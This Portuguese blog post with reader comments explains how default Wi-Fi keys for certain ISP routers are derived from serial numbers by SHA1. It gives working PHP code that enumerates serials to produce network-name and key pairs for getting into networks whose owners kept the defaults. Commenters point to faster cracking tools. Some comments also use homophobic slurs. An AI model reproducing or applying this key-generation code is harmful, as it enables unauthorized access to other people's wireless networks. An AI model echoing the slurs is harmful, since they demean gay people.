Algoritmos, chaves WEP e WPA e routers “baratos”…
Olá a todos,
Ontem confesso que não me estava a sentir muito bem-disposto por isso resolvi implementar um algoritmo que encontrei nas internetes sobre como descobrir as chaves predefinidas dos routers de alguns provedores... Aqui vai:
Certamente o leitor já se deverá ter deparado com algumas redes wireless com o nome "Toquerapido30A428" ou "Marca49F90B" e afins... Geralmente os detentores das referidas redes por ignorância ou por solidariedade não alteram as chaves que vêm por defeito nos routers. O que este algoritmo pretende fazer é exactamente isso. Gerar as chaves predefinidas desses routers.
De acordo com o blog "fodi.me", o algoritmo é o seguinte:
O número de série dos routers em questão é precisamente a base para todo o processo. Exemplificando:
CP YY WW PP XXX
Em que:
YY - Ano de Fabrico
WW – Semana de Fabrico
PP – Código do Produto
XXX - Desconhecido
O algoritmo passa por numa primeira fase gerarmos todos os números de série possíveis que nos interessarem, tendo em conta o ano e a semana de fabrico. O valor XXX (desconhecido) oscila entre AAA e 999, pelo que será necessário também gerar-se essa sequência. Uma vez gerada, adiciona-se essa string ao final de cada número de série. Seguidamente, passamo-la para hexadecimal. Posto isto, a cada número de série calculamos o hash sha1 do router: exemplo dado pelo fodi.me: CP0817314142 --> bc8c18aec9e740c37be79e7f2058c50fd922e4bb
Daqui, os primeiros 10 caracteres referenciam a chave de rede (necessário colocar em uppercase) e os últimos seis, o nome da rede, precedido pelo nome do fabricante: "Toquerapido22e4bb".
A implementação em php para gerar as chaves é relativamente simples:
<?function ascii2hex($ascii) {$hexadecimal = '';for ($i = 0; $i < strlen($ascii); $i++) {$byte = strtoupper(dechex(ord($ascii{$i})));$byte = str_repeat('0', 2 - strlen($byte)).$byte;$hexadecimal.=$byte;}return $hexadecimal;}$dicionario = file('/Users/gatuno/wpa-wep/dic.lst');for($ano=4; $ano<=11; $ano++){if($ano<10){$year = '0'.$ano;}else{$year = $ano;}for($semana=1; $semana<=52; $semana++){if($semana<10){$week='0'.$semana;}else{$week=$semana;}foreach($dicionario as $numLinhaDic => $linha){$hex = ascii2hex(substr($linha,0,3));$hash = sha1("CP$year$week$hex");$chave = substr($hash,0,10);$rede = substr($hash,-6);echo $rede;echo ' '.$chave."\n";}}}?>
És masé um mero gatuno MEU GATUUUUUUUUUNO......
"O meu MBP 2.53 levou cerc........"
e de repente, ja ninguem quer saber do que falas. MAC IS GAY LOL!
[...] Link to the original site Categories: Security Tags: Security Comments (0) Leave a comment [...]
Saudações, parabéns pelo artigo. Prefiro a abordagem que retorna a chave sem gerar essa db, pois 400mb e um pouco pesado para a maioria dos gadgets que carregamos no bolso.
No meu gadget demoro cerca de 2 min a ter as ditas chaves disponiveis:
stkeys é feliz no n900!
@valentão
obrigado pelo comentário (construtivo)! :)
por acaso não conhecia esse programa... mas agora deste-me a ideia de fazer uma coisa semelhante para J2ME ou Symbian! Isto, se já não existir... :P
gatuno, para symbian s60v3 dava jeito :P
Ao que parece temos outra alternativa mais gráfica para os faggots que adoram GUI (graphic useless interface).
http://code.google.com/p/wifipassreminder/